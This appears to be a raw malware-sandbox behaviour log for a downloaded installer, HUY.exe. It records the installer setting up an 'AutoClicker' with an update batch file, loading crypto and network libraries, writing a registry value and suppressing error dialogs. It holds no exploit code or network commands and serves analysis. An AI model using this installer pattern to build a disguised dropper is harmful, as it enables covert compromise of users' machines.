Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6712 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Users\user\Downloads\HUY.exe "C:\Users\user\Downloads\HUY.exe"
Source: C:\Users\user\Downloads\HUY.exeProcess created: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp "C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp" /SL5="$E0078,1361471,857600,C:\Users\user\Downloads\HUY.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6712 --field-trial-handle=1920,i,10451475700952946686,3645390677050965185,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Program Files\AutoClicker\AutoClicker.exe "C:\Program Files\AutoClicker\AutoClicker.exe"
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files\AutoClicker\AutoClickerUpdate.bat" "
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\AutoClicker\AutoClicker.exe AutoClicker.exe /update
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Users\user\Downloads\HUY.exe "C:\Users\user\Downloads\HUY.exe"
Source: C:\Users\user\Downloads\HUY.exeProcess created: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp "C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp" /SL5="$E0078,1361471,857600,C:\Users\user\Downloads\HUY.exe"
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3252 -s 1972
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Program Files\AutoClicker\AutoClicker.exe "C:\Program Files\AutoClicker\AutoClicker.exe"
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files\AutoClicker\AutoClickerUpdate.bat" "
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\AutoClicker\AutoClicker.exe AutoClicker.exe /update
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Users\user\Downloads\HUY.exeSection loaded: uxtheme.dll
Source: C:\Users\user\Downloads\HUY.exeSection loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpSection loaded: apphelp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: mscoree.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: apphelp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: version.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: uxtheme.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: cryptsp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rsaenh.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: cryptbase.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dwrite.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: msvcp140_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: windows.storage.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wldp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: profapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: iphlpapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dnsapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dhcpcsvc6.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dhcpcsvc.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: winnsi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dwmapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: d3d9.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: d3d10warp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: urlmon.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: iertutil.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: srvcli.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: netutils.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: windowscodecs.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: uiautomationcore.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: propsys.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wtsapi32.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: winsta.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: powrprof.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: umpdc.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dataexchange.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: d3d11.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dcomp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dxgi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: resourcepolicyclient.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dxcore.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: textshaping.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: d3dcompiler_47.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: textinputframework.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: coreuicomponents.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: coremessaging.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ntmarta.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wintypes.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wintypes.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wintypes.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: msctfui.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: mscoree.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: version.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: uxtheme.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: cryptsp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rsaenh.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: cryptbase.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dwrite.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: msvcp140_clr0400.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: windows.storage.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wldp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: profapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: iphlpapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dnsapi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dhcpcsvc6.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: dhcpcsvc.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: winnsi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: wbemcomn.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: amsi.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: userenv.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rasapi32.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rasman.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rtutils.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: mswsock.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: winhttp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: rasadhlp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: fwpuclnt.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: secur32.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: sspicli.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: schannel.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: mskeyprotect.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ntasn1.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ncrypt.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: ncryptsslp.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: msasn1.dll
Source: C:\Program Files\AutoClicker\AutoClicker.exeSection loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpWindow found: window name: TMainForm
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\AutoClicker\AutoClicker.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\Chrome\Application\Dictionaries
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-0KEB0.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-6GE5G.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-F3RC7.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-6KBP3.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-87DHK.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-O9D5K.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-L257R.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-VE7A3.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-CRA9L.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-0CSCM.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-H2EM6.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-5598U.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-3HHMQ.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-KTLDF.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-9TFL3.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-BB1AB.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-UEA0R.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-QGFEN.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-0PK67.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-1P3N2.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-LIGJH.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-EDLB4.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-PJAFC.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-BRFBS.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-1ENUK.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-9FRHH.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-VMGQA.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-6FJPH.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-UV5LR.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-HFM4K.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-IP3KO.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\is-M8N4O.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources\is-S0GGU.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources\Icons
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources\Icons\is-MCER5.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources\Icons\is-F6BGF.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\Resources\Icons\is-V8S6A.tmp
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpDirectory created: C:\Program Files\AutoClicker\AutoClickerUpdate.bat
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-0KEB0.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-HFM4K.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-6KBP3.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Users\user\AppData\Local\Temp\is-995L5.tmp\_isetup\_setup64.tmpJump to dropped file
Source: C:\Users\user\Downloads\HUY.exeFile created: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\a1f41e66-b911-4f6f-a1d6-c04ee74d607c.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-CRA9L.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-M8N4O.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-QGFEN.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-BRFBS.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-87DHK.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-1P3N2.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-6FJPH.tmpJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\Unconfirmed 531338.crdownloadJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-EDLB4.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-BB1AB.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-0CSCM.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-9FRHH.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-L257R.tmpJump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpFile created: C:\Program Files\AutoClicker\is-5598U.tmpJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Users\user\Downloads\HUY.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmpProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files\AutoClicker\AutoClicker.exeProcess information set: NOOPENFILEERRORBOX
